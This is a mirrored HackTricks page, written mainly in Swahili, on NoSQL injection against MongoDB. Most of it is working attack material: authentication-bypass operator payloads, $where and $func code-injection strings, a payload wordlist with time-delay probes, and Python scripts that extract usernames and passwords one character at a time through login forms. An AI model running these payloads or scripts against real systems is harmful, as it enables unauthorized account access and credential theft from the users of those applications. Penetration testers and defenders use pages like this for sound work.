mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
282 lines
12 KiB
Markdown
282 lines
12 KiB
Markdown
# NoSQL injection
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) kujenga na **kujiendesha** kazi kwa urahisi zikiwa na zana za jamii **za kisasa zaidi** duniani.\
|
|
Pata Ufikiaji Leo:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
|
|
|
|
{% hint style="success" %}
|
|
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
|
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Exploit
|
|
|
|
Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka _parameter=foo_ hadi _parameter\[arrName]=foo._
|
|
|
|
Exploits zinategemea kuongeza **Operator**:
|
|
```bash
|
|
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
|
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
|
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
|
|
username[$eq]=admin&password[$ne]=1 #<Equals>
|
|
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
|
|
username[$ne]=admin&pass[$gt]=s #<Greater Than>
|
|
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
|
|
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
|
|
```
|
|
### Mipango ya msingi ya uthibitishaji
|
|
|
|
**Kutumia si sawa ($ne) au kubwa ($gt)**
|
|
```bash
|
|
#in URL
|
|
username[$ne]=toto&password[$ne]=toto
|
|
username[$regex]=.*&password[$regex]=.*
|
|
username[$exists]=true&password[$exists]=true
|
|
|
|
#in JSON
|
|
{"username": {"$ne": null}, "password": {"$ne": null} }
|
|
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
|
|
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
|
|
```
|
|
### **SQL - Mongo**
|
|
```javascript
|
|
query = { $where: `this.username == '${username}'` }
|
|
```
|
|
Mshambuliaji anaweza kutumia hii kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kuridhisha hali hiyo kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` hutumiwa kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`.
|
|
```
|
|
Normal sql: ' or 1=1-- -
|
|
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
|
```
|
|
### Extract **length** information
|
|
```bash
|
|
username[$ne]=toto&password[$regex]=.{1}
|
|
username[$ne]=toto&password[$regex]=.{3}
|
|
# True if the length equals 1,3...
|
|
```
|
|
### Extract **data** information
|
|
```
|
|
in URL (if length == 3)
|
|
username[$ne]=toto&password[$regex]=a.{2}
|
|
username[$ne]=toto&password[$regex]=b.{2}
|
|
...
|
|
username[$ne]=toto&password[$regex]=m.{2}
|
|
username[$ne]=toto&password[$regex]=md.{1}
|
|
username[$ne]=toto&password[$regex]=mdp
|
|
|
|
username[$ne]=toto&password[$regex]=m.*
|
|
username[$ne]=toto&password[$regex]=md.*
|
|
|
|
in JSON
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
|
```
|
|
### **SQL - Mongo**
|
|
```
|
|
/?search=admin' && this.password%00 --> Check if the field password exists
|
|
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
|
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
|
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
|
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
|
...
|
|
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
|
|
...
|
|
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
|
```
|
|
### PHP Utekelezaji wa Kazi za Kijichaguliwa
|
|
|
|
Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (inayotumika kwa default) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
|
```python
|
|
"user":{"$func": "var_dump"}
|
|
```
|
|
.png>)
|
|
|
|
### Pata taarifa kutoka kwa mkusanyiko tofauti
|
|
|
|
Inawezekana kutumia [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kupata taarifa kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa **mkusanyiko tofauti** unaoitwa **`users`** na kupata **matokeo ya kila ingizo** lenye nenosiri linalolingana na wildcard.
|
|
|
|
**NOTE:** `$lookup` na kazi nyingine za kujumlisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida za `find()` au `findOne()`.
|
|
```json
|
|
[
|
|
{
|
|
"$lookup":{
|
|
"from": "users",
|
|
"as":"resultado","pipeline": [
|
|
{
|
|
"$match":{
|
|
"password":{
|
|
"$regex":"^.*"
|
|
}
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
]
|
|
```
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) kujenga na **kujiendesha** kwa urahisi kazi zinazotumiwa na zana za jamii **zilizoendelea zaidi** duniani.\
|
|
Pata Ufikiaji Leo:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
|
|
|
|
## MongoDB Payloads
|
|
|
|
Orodha [kutoka hapa](https://github.com/cr0hn/nosqlinjection\_wordlists/blob/master/mongodb\_nosqli.txt)
|
|
```
|
|
true, $where: '1 == 1'
|
|
, $where: '1 == 1'
|
|
$where: '1 == 1'
|
|
', $where: '1 == 1
|
|
1, $where: '1 == 1'
|
|
{ $ne: 1 }
|
|
', $or: [ {}, { 'a':'a
|
|
' } ], $comment:'successful MongoDB injection'
|
|
db.injection.insert({success:1});
|
|
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|
|
|| 1==1
|
|
|| 1==1//
|
|
|| 1==1%00
|
|
}, { password : /.*/ }
|
|
' && this.password.match(/.*/)//+%00
|
|
' && this.passwordzz.match(/.*/)//+%00
|
|
'%20%26%26%20this.password.match(/.*/)//+%00
|
|
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
|
{$gt: ''}
|
|
[$ne]=1
|
|
';sleep(5000);
|
|
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
|
|
{"username": {"$ne": null}, "password": {"$ne": null}}
|
|
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
|
|
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
|
|
{"username": {"$gt":""}, "password": {"$gt":""}}
|
|
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
|
|
```
|
|
## Blind NoSQL Script
|
|
```python
|
|
import requests, string
|
|
|
|
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
|
|
|
|
flag = ""
|
|
for i in range(21):
|
|
print("[i] Looking for char number "+str(i+1))
|
|
for char in alphabet:
|
|
r = requests.get("http://chall.com?param=^"+flag+char)
|
|
if ("<TRUE>" in r.text):
|
|
flag += char
|
|
print("[+] Flag: "+flag)
|
|
break
|
|
```
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username="admin"
|
|
password=""
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|']:
|
|
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
|
|
r = requests.post(u, data = {'ids': payload}, verify = False)
|
|
if 'OK' in r.text:
|
|
print("Found one more char : %s" % (password+c))
|
|
password += c
|
|
```
|
|
### Brute-force login usernames and passwords from POST login
|
|
|
|
Hii ni script rahisi ambayo unaweza kubadilisha lakini zana za awali zinaweza pia kufanya kazi hii.
|
|
```python
|
|
import requests
|
|
import string
|
|
|
|
url = "http://example.com"
|
|
headers = {"Host": "exmaple.com"}
|
|
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
|
|
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
|
|
def get_password(username):
|
|
print("Extracting password of "+username)
|
|
params = {"username":username, "password[$regex]":"", "login": "login"}
|
|
password = "^"
|
|
while True:
|
|
for c in possible_chars:
|
|
params["password[$regex]"] = password + c + ".*"
|
|
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
|
if int(pr.status_code) == 302:
|
|
password += c
|
|
break
|
|
if c == possible_chars[-1]:
|
|
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
|
|
return password[1:].replace("\\", "")
|
|
|
|
def get_usernames(prefix):
|
|
usernames = []
|
|
params = {"username[$regex]":"", "password[$regex]":".*"}
|
|
for c in possible_chars:
|
|
username = "^" + prefix + c
|
|
params["username[$regex]"] = username + ".*"
|
|
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
|
if int(pr.status_code) == 302:
|
|
print(username)
|
|
for user in get_usernames(prefix + c):
|
|
usernames.append(user)
|
|
return usernames
|
|
|
|
for u in get_usernames(""):
|
|
get_password(u)
|
|
```
|
|
## Tools
|
|
|
|
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
|
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
|
|
|
## References
|
|
|
|
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
|
* [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
|
|
* [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
|
|
|
|
{% hint style="success" %}
|
|
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
|
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) kujenga na **kujiendesha** kwa urahisi kazi zinazotolewa na zana za jamii **zilizoendelea zaidi** duniani.\
|
|
Pata Ufikiaji Leo:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
|